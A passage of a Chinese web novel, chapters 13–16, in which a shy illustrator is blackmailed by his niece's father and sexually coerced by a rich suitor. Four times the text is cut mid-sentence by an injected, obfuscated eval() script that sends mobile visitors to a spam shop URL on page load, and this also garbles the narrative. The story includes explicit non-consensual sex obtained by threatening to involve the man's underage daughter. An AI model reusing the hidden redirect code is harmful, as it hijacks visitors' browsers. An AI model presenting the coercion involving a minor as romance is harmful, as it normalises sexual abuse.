“我之前有个朋友和她共事过,听说她本人非常nice,不看关系,只看你有没有本事,而且也不会像陈总一样,正儿八经的工作内容不管,只扣一些无关紧要的细节。” “这也算是因祸得福了吧。” 温真失神地点头。 吃完小蛋糕,温真继续工作,接下来要画的场景是…… 温真局促起来…… 是要把手指插进男主嘴里的画面…… 捏住男主的下巴,两根修长的手指并在一起,塞进男主的口腔里。 唇角完全撑开,泛红的眼尾,急促缩裹的喉管,粉色的舌头被夹在两指之间…… 温真越画越热,整张脸都红起来,想到了自己嘴巴被男人手指塞进去的感觉…… 一道银丝挂在指头上……温真难堪地并紧退。 这个时候阿美上厕所路过正好看见。 “我艹……你这画得……” 温真吓了一跳,慌忙切换页面。 阿美吞咽口水,“你这画得太瑟瑟了,我都能想到读者看到后该怎么哀嚎了。” “你怎么画的这么形象,是不是看见过真人版啊。” “没有,没有……”温真惊慌极了。 *** 新来的老板很快上任了,和阿美说得一样,是个更注重个人能力的老板,然而又不会很冷酷,待人宽和,是个有人格魅力的上司。 她用了一周的时间将工作室所有人的画风摸清楚,挨个找人谈话,每个人的工作内容都发生了翻天覆地电话。 到温真去她办公室时,温真很忐忑,他已经对《幽境》这个作品有了感情,他很害怕石美青会把她交给别人。 “我看了你之前产出的作品,现在这个作品挺适合你的,你继续画吧。” 温真走到办公室门口,对方又道:“我很看好你,温真。” 温真坐在工位上,捂住自己的脸。 这些年他在陈总手下,并没有得到过赞许,以至于让他这么多年都以为自己很糟糕,可是现在他意识到,自己好像也没有那么糟糕。 “温真,下班了,你还不走啊。”阿美道。 “马上,马上……” 办公室里的人陆陆续续走完了,温真才关掉电脑下楼。 到小区楼下,正在和人闲聊的王奶奶叫住他。 “下午有个男人在你家门口晃悠,感觉有点像宁宁的爸爸,你小心点。” 13.第 13 章 “这人真是阴魂不散。”王奶奶抱怨。 “嗯,嗯,我知道了。”温真挤出一个不太好看的笑容。 “最近葡萄下来了,我有个同事家里是种葡萄的,我买了一些,到时候给你拿去。” 王奶奶笑,“不用,不用,费这些钱干什么。” “之前我忙的时候,宁宁都是麻烦你。”温真有些不好意思。 回到家,温真洗完澡,盯着他和姐姐的合影看,一直到深夜。 翌日下班,他被男人堵在了家门口。 陈富锐穿着破旧的皮夹克,戴一顶鸭舌帽,倚在墙上抽烟。 看见温真微微一笑,“我一直在找你们。” “这么多年也不说联系我,好歹你也叫我一声姐夫。” “我女儿呢?” 问完他又自问自答。 “今天周三,应该在学校上课,等星期日我再去见她。” “你,你不能见她。”温真猛地出声。 “为什么不能?她是我女儿,亲生女儿,我为什么不能见她?”陈富锐冷笑,“倒是你,和宁宁无亲无故的。” 温真摇头,“我,我不会让你见宁宁的。” 陈富锐掐灭烟,“行啊,你给我四十万,我就不会再纠缠你们。” 四十万…… 温真脸发白,“我,我没有那么多钱。” “你不是把你爸妈的房子卖了吗?四十万拿不出来?” “那些钱,都给宁宁治病了。” “反正我要四十万,一星期内给我,不然我就会带走宁宁。” “正好,我有个哥们,要拿十万块钱娶媳妇,把宁宁嫁给他,也算是一个好归宿。” “宁宁,她还不满18岁!”温真胸腔起伏着。 “在我们老家,这个年纪都有孩子了。”陈富锐对他过激的反应嗤之以鼻。 “四十万,一个星期。” 留下这句话,男人扬长而去。 陈富锐走没多久,王奶奶赶过来。 “我刚才又看见那个男的了,小真你没事吧?” 温真惨淡一笑,“没事,没事。” “这种人就应该在牢里待一辈子,为什么要放出来。”王奶奶愤愤不平。 温真的爸妈留下一套房,当时女儿要动手术,温真把房子卖了60万,手术用掉40万,剩下的20万这几年女儿吃药上学已经花得差不多了,他现在所有积蓄加起来只有五万块钱。 四十万…… 他不知道去那里弄这么多钱…… 可又明白,像陈富锐这样的人,没什么牵挂,亡命徒一个,如果惹急了他,他很可能做出一些事情…… 他自己没关系,可是宁宁…… “喂,喂,我是温真,我最近出了点急事,我能借你一些钱吗?” “唉,我老婆最近刚生孩子,我手头也没多少,我给你拿五千吧。” “谢谢,谢谢,我会尽快还你的。” 温真的朋友很少,也都不是富裕的人,他打了一圈电话,也才借到了两万块钱,离四十万还远远不够。 他失魂落魄地坐在工位上。 “温工,你怎么了,前几天看着还很精神,这几天怎么又蔫了,脸色那么差。” 阿美端着咖啡过来。 温真抿唇,“阿美,阿美,我可以借你一些钱吗?” 说完,温真头羞愧地垂低,他是一个很羞于像别人请求帮助的人,可这几天借钱,让他的尊严都没有了。 尽管大家都是很善良和热心的人,温真还是因为麻烦他们而难堪愧疚。 “你也知道我是月光族,现在手头只有一万块钱,如果你不嫌少,就拿去吧。” “谢谢,谢谢你,我会尽快还给你的。”温真颤抖。 “没事,没事,我相信你的为人。” 如果是换做其他同事,阿美不一定会借。 但温真工作上勤恳,阿美记得她刚进公司的时候被陈总骂哭了,只有温真给她纸巾,分享自己的工作经验。 阿美知道这钱借给他,最后一定能还回来,只是时间早晚的问题。 周五温真去接女儿。 女儿和秦宝章一起从学校门口出来。 温真一看见秦宝章就想起了那个男人,他几乎是条件发射地颤抖起来。 秦宝章笑着和他打招呼,“叔叔好。” 他家里的司机来接他,他爬上车之前,对付钰宁道:“宁宁你明天和我一起去马场吧。” “你小叔不是出差去了?” 出差…… 温真失神,怪不得这几天没有联系他,原来去出差了。 “他不在我们也能玩,马场里还有常岩呢。” 付钰宁摇头,“我不想去,我要去图书馆。” “那我也要去图书馆。”秦宝章立即道:“正好我要温习一下前几天学的内容。” 两人就这样相约好了去图书馆。 “爸爸,爸爸,走了。”付钰宁叫他。 温真有些愣住,然后微微睁大眼睛,“宁宁,宁宁,你叫我什么?” 付钰宁又不肯叫了。 温真站在那里,眼眶开始发热。 宁宁的妈妈不是他的亲姐姐,是他小时候的邻居,爸妈死的时候,温真才10岁,孤苦伶仃的,宁宁的妈妈看他可怜,便一直照顾他。 那时候宁宁刚出生,宁宁妈妈还没有出月子就要上班。 10岁的温真便帮她照顾襁褓里的付钰宁。 也许是因为这样,他一直把宁宁当作他的亲生女儿。 但陈富锐说得没错,宁宁和他一点血缘关系都没有,就算是打官司,法官也会把宁宁判给陈富锐。 转眼一周过去,陈富锐准时出现在温真的家门口。 还是那件破旧的皮夹克,手上却缠了一道纱布,血迹渗出来。 温真把卡给他,“这里面,里面有十万块钱。” 陈富锐没接,“我要的四十万,少一分都不行。” “你去借也好,偷也好,抢也好,反正要给我四十万,如果不够,我就把宁宁带走。” “我,我真的拿不出那么多钱……”温真低声,“宁宁生病已经花了很多钱了,我最近手里头有一个项目,完成之后能拿到一笔不小的提成,那时候我再,再给你好吗?” 陈富锐哼笑一声,把卡装进自己皮夹克口袋里,“再给你三天。” 能借的都借过了,没有开灯的客厅,温真枯坐着,手机里是小额贷的页面…… 想起之前一个女同事,因为爱买奢侈品,工资不够便开始借贷。 一开始只是一万,后来滚到十万,再后来成了五十万。 还不上便从他们公司楼天台上跳下去了。 温真眼睫颤抖,最终还是关闭了页面。 赵程来公司和石美青谈一些事情。 谈完之后,赵程道:“我能不能找一下温工。” 石美青挑眉,“当然。” 公司茶室,赵程笑道:“秦总去国外出差了。” 半夜里忽然接到老板的电话,问温真有没有找过他,赵程回答没有后,老板在那边沉默了半晌挂了电话。 但他在老板身边那么多年,当即领会到老板的意思。所以今天特地跑了一趟。 “嗯,嗯……” 赵程看着温真,期待他问一些别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014908|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 温真抿唇,“他,他什么时候回来……” “周末就回来。”赵程如负释重。 “那,那我先回去工作了。” 温真本以为赵程叫他有什么重要的事情,可是又只和他说了男人出差的事情。 走到门口,温真忽然顿住了脚步,“赵先生,我能借你……” 说一半,温真难堪地止住,“没事,没事……我继续去工作了。” 赵程接到秦妄的电话是在回集团的路上 工作汇报结束,赵程又道:“我见了温先生,告诉他你去出差了。” “温先生还问我,你什么时候回来。” 男人语气宽和起来,“你告诉他了吗?” “说了。” “对了,”赵程凝眉,“温先生可能遇到难事了,他刚才想问我借钱。” *** 周五,温真因为工作耽误了一会儿,结果到学校门口就看见陈富锐和付钰宁站在一起。 陈富锐和他姐姐很早就离婚了,离婚之后就经常纠缠她姐姐,问他姐姐要钱,可她姐姐一直没有告诉付钰宁,让付钰宁一直以为他爸爸是爱她的,就连陈富锐因为诈骗坐牢的事情,姐姐只告诉女儿他只是去外地了。 看着陈富锐给女儿棉花糖,温真白着脸走过去,将女儿护在自己身后。 “你,你来干什么!” “我就是来接我女儿上学而已?你这么害怕干什么?” 陈富锐挤出一个和善的笑容看着付钰宁,“是不是,宁宁,爸爸好久没见你了,很想你。” 虽然妈妈一直说爸爸是爱她的,可付钰宁也并不太喜欢这个没管过她的男人,神情淡淡的。 “宁宁,和,和爸爸回家。” 陈富锐也没有拦他们,“三天快到了。” “什么三天?”付钰宁问。 “没什么,他在,在说胡话。” 付钰宁也没放在心上。 沉默了一会儿,温真问,“宁宁,这几年你想他吗?” 付钰宁冷笑一声,“想他?一直没有管过我,我为什么要想他?” 温真露出一个笑容,摸她的头发,“爸爸,以后不会让他见你了。” 温真知道像陈富锐这样的人,即使给了他四十万,之后他还会继续问他要的。 到了期限的前一天,他用手机发短信给陈富锐。 -可不可以再给我几天时间,我一时没办法凑够四十万。 -四十万一分不少,如果到时间不给的话,那宁宁我马上就会带走。 -不要,我会继续想办法的。 第二天早上,他又给陈富锐发短信。 -四十万我凑够了,晚上我们在郊外见面。 -好的。 温真握紧手机,从信息上看,陈富锐已经形成敲诈,四十万应该可以让他再坐牢一阵子。 这天是周日,他隐约记得今天有什么事情,可他想不起来了。 直到男人的电话打过来,温真才想起来,今天男人出差回来。 “下来见我。” 小区外面,清瘦的男人上了一辆黑色的豪车。 赵程不在,男人自己开车,应该是刚从集团出来,西装革履,头发梳得板正,面容有些疲倦。 “有事情要和我说吗?”秦妄盯着他开口。 “事情,事情……没有,没有……”温真攥紧安全带。 秦妄一言不发审视他。 温真纤长的睫毛颤抖起来。 “我一会儿,一会儿还有事情要忙……如果,如果……我可以先回去吗?” “不可以,”男人道:“和我一起吃饭。” 14.第 14 章 服务生先进来开灯,包厢明亮起来。 地板和墙壁全都用的暗色的木质,一面墙是古色古香的山水画,靠南的那扇门推开后,外面大片碧绿碧绿的树木映入眼帘。 八点钟还要去见陈富锐,温真没有胃口,但男人自己不吃饭一直看着他,温真睫毛颤动着,吃进去一些又吃进去一些。 即使这样,自己跟前的牛排和土豆泥还剩一些。 男人道:“吃完。” “吃,吃不下了……”温真难堪地看自己的肚子。 最近明明和往常一样的饭量,可却胖了一些,空腹肚子便有点圆。 吃饱了,肚子直接隆起一个小球,将自己的衬衣顶出一个弧度。 怎么会变成这样…… 秦妄一动不动地盯着他。 脸颊带着一点热气熏出来的微红,长长的睫毛跟个小扇子一样抖啊抖。 他拿过温真吃剩的东西,自己一点一点吃了。 温真难为情极了,“这是,这是我吃过的……” 即使他吃的很小心,可上面应该还沾上他的口水。 “嗯。”秦妄道。 接着,他又把温真的杯子拿过来,那里面茶水也没喝完,他就着温真刚才含过的地方一口气将剩下的茶水喝完了。 而温真又惊又怕,不知道为什么男人喜欢吃别人吃剩的东西。 吃完后,秦妄送他回去,到小区门口后还要跟着温真下车,一直送到温真家楼下。 “你,你快回去吧……”温真垂着脑袋,不敢看他。 “以后每天都要和我发信息。” 每天…… “嗯……” 马上要到约定的时间,温真想让他赶紧走,勉强答应下来。 “现在和我说晚安。” 温真扣着指头,“晚,晚安。” “你看着你上楼。” 温真头也不回地走了。 到家门口,王奶奶出来。 “小真,楼下那个男人是谁啊?” “长得还挺帅。” “不,不认识。”温真咬唇。 估摸着男人走了,温真又重新下楼,到小区门口拦一辆出租车到郊外。 而秦妄本来是打算去马场的,路上接到秦夫人的电话,让他回家一趟,秦妄便重新调头。 路过温真的小区门口,正好看见温真上了一辆出租车。 秦妄凝眉,和秦夫人回电话说晚点回去,跟上去。 郊外有一个巨大的垃圾场,还有一些废弃掉的化工厂,陈富锐蹲在废弃的缸筒旁边抽烟。 不远处的路灯连成一片,勉强照亮了他的脸。 陈富锐笑,“还说没钱,这不也凑出来了。” 温真把卡拿出来,陈富锐拽了一下没拽过来。 陈富锐面无表情盯温真一眼。 温真松手。 陈富锐把卡往上抛了一下,正反都看了看,“你现在和我去一趟银行,我要看一看里面的余额是不是30万,如果你骗我的话……” 陈富锐冷笑一声。 “跟我走。” 温真苍白着脸,站在原地没有动。 陈富锐看他这个样子,瞬间明白了,一把揪住他的衣领,“你骗老子。” “你这种行为已经构成诈骗了……”陈富锐是干力气活的,手劲不是一般的大,他揪着温真的衣领,温真感觉自己整个脖子都被勒住了,几乎要喘不上气,“如果你再去见宁宁,我就会报警……” 陈富锐脸部扭曲起来,扬起另一只手,便要扇温真巴掌,然而还没有落下去,一个高大沉郁的身影迅速靠近。 陈富锐右侧腹部一疼,接着整个人滚出去好几米远。 他被人踢开了。 他捂住腹部,怒目看着来的男人。 男人逆光而站,陈富锐看不清他的脸。 但对方体格高大,胳膊显出肌肉的轮廓,整个人的压迫感非常强。 陈富锐有一瞬间的畏惧,可又对自己的体力非常有自信心,站起来后朝对方猛冲过去。 对方对着他的腹部又是一脚。 不等他站起来,秦妄便踩住他的脸上狠狠碾起来。 温真坐在地上看着男人走到他面前,微微发抖。 他不知道男人为什么会突然出现在这里。 秦妄一言不发地蹲下身,拿开他放在脖子上的手。 “我没事,没事的……” 男人目光微微发红,似乎在忍耐着什么。 温真赶紧解释道。 “还站得起来吗?”秦妄轻声。 “可以,可以。”温真回答。 秦妄嗯一声。 “回车上,带你去医院。” 陈富锐感觉自己肋骨估计被男人踢断了。 他吐出一口血,又气又恨,在自己旁边摸来摸去,摸到一块带钉子的木板,把木板立在地面,借力站起来。 他赌博欠了40万,如果再不还钱,就要被卖到缅甸去,想到去缅甸的下场,陈富锐的脸扭曲起来。 看着两个人要朝车上去,他疯一般冲过去,照着温真的后背便要拍打下去。 秦妄最先感知到他的,等他回头,那块木板已经要拍到温真的身上了。 他想也没想便将温真整个人护住,任由那块木板砸在自己右肩膀上。 断成两截的木板落在地上,秦妄像是不知道疼似的,沉着脸,让脸色苍白的温真先回车上去。 温真在秦妄怀里哆嗦起来。 他虽然没看见,但是猜到陈富锐本来想打的人是他。 秦妄帮他挡住了。 他不知道男人为什么会这么做,可还是因为男人救他而愧疚起来, “你,你受伤了……” “一会儿少不了让你涂药,先去车上。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024342|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真惶惶难安地看着车窗外,夜色朦胧,他什么都看不到,不远处的草丛发出响动,温真心惊胆战地睁大眼睛。 陈富锐之前是在建筑工地工作的,可以轻而易举地扛起一袋水泥,现在又是穷途末路…… 秦妄体格高大精键,可毕竟常年待在办公室,又受了伤,温真不敢再想下去…… 高大的身影由远及近,温真一颤,立即下车。 男人脸上沾了一点血,定定看温真半晌,笑了。 “很担心我?” 那目光和他看付钰宁的目光一模一样,担心和后怕都要从眼睛里溢出来了。 赵程也匆匆赶来了,“秦总,你先去医院吧,剩下的我来处理。” 秦妄点头。 “还,还能开车吗?”温真紧张又担心地看着他,“会不会疼?” 是有点疼,但在温真关切的询问中,伤口开始麻酥酥的泛痒。 车子启程,可并不是去医院的,而是去马场的方向, 温真急道: “为什么,为什么不去医院?” “要去,要去医院。”轻轻的嗓音,像哄孩子一样。 秦妄嗯一声,依旧没有变道。 到了马场,常岩得知秦妄受伤了,慌忙找出来医药箱。 秦妄经常自己喂马,即使和马再亲近,也难免受伤,小伤秦妄自己处理,严重一点的是常岩帮他。 这个时候常岩很自然地拿起了消毒止疼的药水。 秦妄眼神扫过来,常岩一惊,还以为自己犯了错。 接着秦妄看了门一眼。 常岩反应过来,是要他出去。 而那个被老板带回来的男人,脸白得像雪,整个人都很轻地在发抖。 常岩了然,麻溜地离开了。 房间里只剩下温真和男人。 男人坐在沙发上,脱去外套和衬衣。 垒成一块一块的肌肉蓬勃地跳动着,秦妄望着他,“帮我涂药。” 温真握紧药水。 肩膀带着右胳膊上方一大片都红了,那木板上还有钉子,钉子完全扎进肉里面。 扎出一个小眼,汩汩冒血。 温真看了一眼,脸更白了,他知道很严重,但没想到这么严重。 涂药的时候,手都是抖的,“还是,还是要去医院……” “这样,会,会弄疼你吗?” 秦妄完全没有听到他在说什么,所有的感官都聚集在伤口上,被钉子扎穿当然痛,可是听到温真的声音,他的伤口会在痛楚中涌起轻微的电流,莫名有点……爽…… 他甚至觉得温真的力道太轻了,想让他的手指狠狠按下去…… 光是想想,他后脑勺便一阵一阵地发麻。 他轻轻磨起后槽牙。 而温真涂完药无意间一瞥,看到男人的反应,脸都吓白了。 他不知道男人为什么受伤了还会这样…… 15.第 15 章 “石总,抱歉,抱歉,我有些事情需要处理,要请两天的假,你放心,这两天有空的话,我会用自己的电脑完成工作的。” 毕竟皮肉破了,常岩还是叫了医生过来,打了一针破伤风,又整体检查了一下,医生说没有什么大问题,按时涂药注意休养就好了。 他是因为自己受伤的,温真没办法丢下他自己去工作,便向石美青请了假,好在石美青并不像陈总那样,不仅批准了他,还让他不用那么拼命,工作等回去再完成。 温真在马场外面打完电话,然后回到秦妄休息的地方。 要中午了,温真看他们这里有厨房,便做了一些饭菜。 “吃,吃一点东西吧。” 秦妄坐在书桌前,刚开完线上会议。 他看了一眼饭菜,蔬菜,肉,主食,都是他的口味。 伤口又细细密密地泛疼,带着电流,让他整个受伤的地方都麻起来。 “我,我问了常岩,他说……”温真有些难为情,“如果,如果你不喜欢,我可以,可以再做一些别的……” “喜欢,不过,”秦妄看了看自己的小臂,“可能需要你要喂我。” 喂…… 温真更难为情了,耳朵都红起来。 他只喂过女儿吃饭,那也只是在女儿一岁之前,现在却要喂一个很大个的男人……温真无措起来。 过了一会儿,羞耻的青年夹了一块肉发颤地喂到男人嘴边。 男人黑漆漆的眼睛盯着他,并不张嘴。 “啊,啊……张嘴好吗?”温真看他不张嘴,着急气起来,便像以前哄女儿一样做出示范,把自己的嘴巴张开。 嫩红色的口腔,舌头粉粉的,想到指头插进去后,那么柔嫩的腔壁裹住他的指头吸吃着,秦妄眼神幽暗,终于肯张开嘴了。 吃完后,该睡午觉了,秦妄躺在床上,拍拍旁边,“我们一起睡。” 一起,一起…… 温真颤抖,“我,我不困。” 可男人就那样盯着他,最后温真颤抖躺上去了。 他背对着男人躺,躺在最边沿,可没一会儿他身后就响起了窸窸窣窣的声音,滚烫的热意开始烘烤他的后背。 男人靠过来了。 温真长长的睫毛颤个不停,紧紧攥着床单…… “不许背对我。” 温真闭上眼睛假装睡着了…… 可颤抖的肩膀很快被手掌抓住,强硬地把他转了过来。 秦妄看他脸上的茸毛都吓得立起来了,还在装睡,手掌从他衣摆伸进去,手掌刚摸到那滑腻的皮肤,温真便受惊一样地睁开眼睛…… 秦妄低头,几乎要和他鼻子对着鼻子。 热烘烘的气息,温真又羞又怕,往后躲去,秦妄箍住他的腰。 “不许躲。” 这下鼻子真的顶在一起了,故意似的,用鼻尖蹭温真的鼻尖,然后重重地呼出气,温真红着脸哆嗦起来。 秦妄:“亲我。” 眼睛缓缓睁大,难堪地恳求地看着他,“不,不要……” “好啊,你不亲,”秦妄嗅闻着他身上的气味,并不是香水,似乎是从他肉里发出来的,很香甜,秦妄腮腺分泌出口水。 “我就让你女儿亲。” 女儿…… “不,不要,我亲,我亲……”温真难堪道。 秦妄笑一声。 大部分时间都是围着女儿转,连别人的手都没有牵过,更别说亲吻了,难堪又无措把自己的唇送到他的嘴边,碰了一下后就赶紧离开,以为这样自己就可以放过他了。 “要把舌头伸出来。”秦妄哑声,“喂给我吃。” 秦妄便看着他的耳朵和脸颊猛地涨红了。 紧紧攥着床单,整个人陷入剧烈的羞耻中,双唇贴到男人的双唇后,颤抖地伸出一小截舌头给男人。 一直藏在肉腔里,粉嫩的,上面一层细小的颗粒,颤抖着肩膀去喂给男人,可是男人恶劣地不张嘴,让他难堪极了把舌头贴在他的唇上。 男人的唇冰冷,像是吃了一片雪花,温真羞耻地哆嗦。 如果不看眼睛,扔到人堆里也不会注意,只是一个老实怯懦的男人而已,可是舌头却那么软,那么粉,舔他的时候,整个身子都像过电了。 秦妄眼睛黑沉沉的,隆起的青筋也一抽一抽地跳。 他沉声,“嘴巴也张开。” 舌头伸出来已经很让温真觉得羞辱了,现在还要张开嘴里,温真脸一会儿红一会白,羞得想撞墙,然而还是在男人的威胁下张开唇瓣。 于是便睫毛颤抖,满脸都是屈辱的红晕,张开嘴巴,伸出自己的舌头喂给男人。 秦妄呼吸变重。 *** 常岩一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033222|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给马喂草料,一边盯着温真看,原本颜色很淡的双唇,现在红洇洇,浸水似的饱满,像是被人含吃过一样。 而这样打量的目光让温真难堪起来,缩在口腔里的舌头又开始酸麻了。 常岩意识到自己的目光冒犯,赶紧道:“刚吃完奶,也不知道睡了没有。” “我领你过去看看。” 男人在开会,温真想来看看那匹小马驹。 马厩里,小马驹正在母马的腿底下钻来钻去,精神头好的很。常岩笑了笑,打开门,“姆米,出来。” 姆米是个活泼可爱的小家伙,从马厩里冲出来,蹭常岩的腿。 常岩摸它的脑袋,向姆米介绍温真,“这位是秦先生的……朋友。” “姆米,姆米,你好啊……”温真弯下腰,露出一个笑容。 姆米试探着蹭温真的小腿。 “它和它妈妈一样是只纯血马,长大后应该会比它妈妈更矫健……” “其实它不喜欢生人的,第一次见面就这么亲近的,你是第一个。”常岩笑。 姆米是棕色的,脑袋上有一块白色的斑点,马眼睛纯良好奇,长长的睫毛倾斜着。 温真看见它就像看见了宁宁小时候,拘谨的神色被温柔取代,他一点也不害怕地伸手去摸它的脑袋。 姆米很乖地蹭它的手心。 毛发并不粗糙,反而暖融融的…… 温真弯起眼睛…… 开完会出来的秦妄便看见这副画面。 看着温真那双细白的手放在马脑袋上,很轻柔地摸着姆米的毛发,那双总是对他流露出恐惧的眼睛此刻流露出妈妈看孩子的那种怜爱。 秦妄走过去,“姆米。” 姆米蹬蹬蹬地跑过去,到主人身边后,主人又不理它。 “想骑马吗?”秦妄问。 骑马…… “不,不用了……”嘴巴还在胀痛,温真紧张地垂眼。 可男人只是问他,并不听他的意见,让常岩把姆米的爸爸牵到外面。 姆米的爸爸和姆米一样是棕色的,骨骼细,腱的附着点突出,肌肉呈长条状隆起,四肢杠杆长而有力,关节和腱的轮廓明显。 是典型的赛马体型。 常岩检查了缰绳、肚带和马镫,又看了看马蹄铁是否松动。 一切没有异常后,秦妄才让温真上马。 16.第 16 章 马儿显然畏惧又臣服秦妄,在秦妄身边动也不动,甚至显得温良。 如果只是摸一摸它们,那么温真不会害怕,可是骑上去……温真的睫毛开始颤动…… 最后硬着头皮在男人的注视下抬起退蹬住马镫,温真另一只脚正要跨过马背时,马背忽然动了一下。 温真脸微微发白,差点没从马镫滑下。 秦妄见状,小臂一把托住他…… 托的地方正好是温真的……臀部……温真难堪地挣扎起来。 最近好像胖了一些,后面又……大了许多。 即使穿着宽松的衣服还是很明显,甚至那些新长出来的肉会撑开衣服,把那里裹得又圆又挺,稍微做大一点动作还会晃动…… 现在被男人的小臂托住…… 男人袖子挽起来,小臂完全露出来,因为温真的重量,两团又圆又软的肉完全坐上去,像是化了一样,软塌塌压住男人的小臂上…… 蹭动之间温真甚至能感受到小臂上一根一根凸起的青筋…… 温真难堪到不知所措,小幅度挣动。 男人用两条小臂托住他,将他往上一抛,温真腾空了一下,吓得腰微微挺起来,腰挺起来,又圆又挺的两团也随之往后,碰到一个笔直坚硬的东西。 温真坐好后,才后知后觉地反应过来,他的后面碰到了男人的……鼻子。 温真颤抖起来。 而常岩在旁边看得目瞪口呆。 刚才温真挣动着,挺翘的地步甚至擦磨到他老板的脸。 一般人肯定会躲一下,可老板站在那里动也不动……眼神也有点……常岩斟酌着,觉得那个眼神应该是很享受。 “抓好缰绳。”秦妄道。 温真红着脸攥紧。 攥紧后才意识到自己真的骑在了马上……而他腿下的马已经有点迫不及待了,常岩说男人养的马都是赛马,速度非常快,温真害怕起来…… “我,我不想……” 话音刚落,男人便踩着马镫迅捷地上马,滚热的胸膛贴住温真的脊背,手也握住温真握缰绳的手。 一声“架”后,马慢慢跑起来。 很慢的速度,像是在遛弯一样。 温真紧张的心情并没有缓解。 男人就坐在他身后,因为要掌控缰绳,胳膊环住他。 像是从背后抱着他一样,温真连挣脱都没有办法挣脱…… 骑了几公里后,要上一个坡道,颠簸起来,男人身体随着惯性往前,脸全部埋在温真的头发上。 灼热的呼吸扑洒,温真的头皮麻起来,他红着耳根往前躲。 “不许动。”男人开口。 然后扒开温真后脖颈的头发,一直被头发盖住,和下面一样没有见过阳光,白生生的,又泛着粉,一丝毛孔也看不到,跟玉石做的似的。 腮腺分泌出涎水,秦妄一口咬上去。 “不,不要……”温真睁大眼睛。 他不知道男人为什么像狗一样咬他的脖子。 又很快被男人的牙齿磨得哆嗦起来…… 胸膛紧紧贴在一起,甚至因为颠簸,下面也控制不住地贴在一起,几乎完全挤到男人的两腿之间。 温真难堪极了,攥紧缰绳往前。 可又随着颠簸反弹回去,肉压在了男人的大退上…… 硬邦邦的,肌肉隆起,硌着他…… 温真难堪地颤抖起来,赶紧挪动着要坐好。 马儿再次上一个坡道。 温真又重重地坐压下去。 肉软到像是融化的脂膏倾泻在男人退上,腿上的每一个毛孔都被均匀地抚慰到…… 男人咬他的力道徒然变重,像小孩子嘬吸奶嘴一样狠狠嘬着那块肉。 嘬得温真半张脸都麻了。 “别,别咬了……”可怜地恳求, 不知道是不是颠簸的太厉害了,温真的小腿也痉挛着。 一路延伸到根部,酸麻灼热起来。 意识到什么,温真难堪地挣扎。 而手在前面握着缰绳的男人也发现了。 他笑一声,大掌从缰绳移到温真的跨开的大退肉。 又往后托住那团肥嫩软滑的肉,让两瓣完全挤在自己退间。 比隆起的肌肉还要硬的,像烧滚烫的铁棒,膨胀地一大团丁页着…… 薄薄的布料几乎要灼穿,几乎能感受到硕大的头颅在剧烈地跳动。 温真脸唰地白了。 “我,我想起来,还有一些工作没有完成……” 秦妄吐出那他后脖颈的肉,被嘬红了,肿着,他又舔了舔。 松开缰绳,让温真自己掌控,自己的手覆盖住……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043466|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “石更着去工作?” …… 温真难堪地发抖,整张脸羞辱地红着。 想要夹紧双腿,男人的手却挤进去整个包住。 “求求!不要!”温真惊慌。 “……唔!” 常年握缰绳,手掌有茧子,又很粗糙,隔着一层布料拢住。 “不要、不要碰!”温真一下子涌出眼泪,整个人在马上抖成了筛子。 被男人像握缰绳一样握住,快速地上下滑动…… 粗糙的茧子在柔嫩的外层擦磨着。 “不要,不要……” “……嗯!” 马场没有人,又跑到了僻静的地方,男人更加恶劣了。 把他的裤子解开,完全地露出来。 粉嫩,直挺挺。 不仅用掌心刮蹭着,还要把它按在马背上,粗糙的毛发扎着…… 太阳高悬,远处能看到大楼。 自己却这幅样子被男人肆意地……温真难堪又羞耻地蜷缩脚指头。 开始跳动时又恶劣地堵住…… 不许他出来。 被死死堵住,浑身的汗毛都战栗地竖起来,憋胀得他一波一波打颤,几乎有了失禁地感觉。 温真白皙的脖颈仰得高高的,头发都湿透了。 脸上涌着红晕,屈辱又不知所措的模样, 男人架一声。 听到指令,原本匀速奔跑的马儿疾驰起来,遇到坡道时候,温真整个人几乎颠离了马鞍…… 疾驰的速度让温真肾上腺素飙升,所有的热流都冲到顶端,几乎胀成深红色…… “求求,求求,放开,放开……”屈辱地恳求。 “下面是不是也湿了。”男人沉声问。 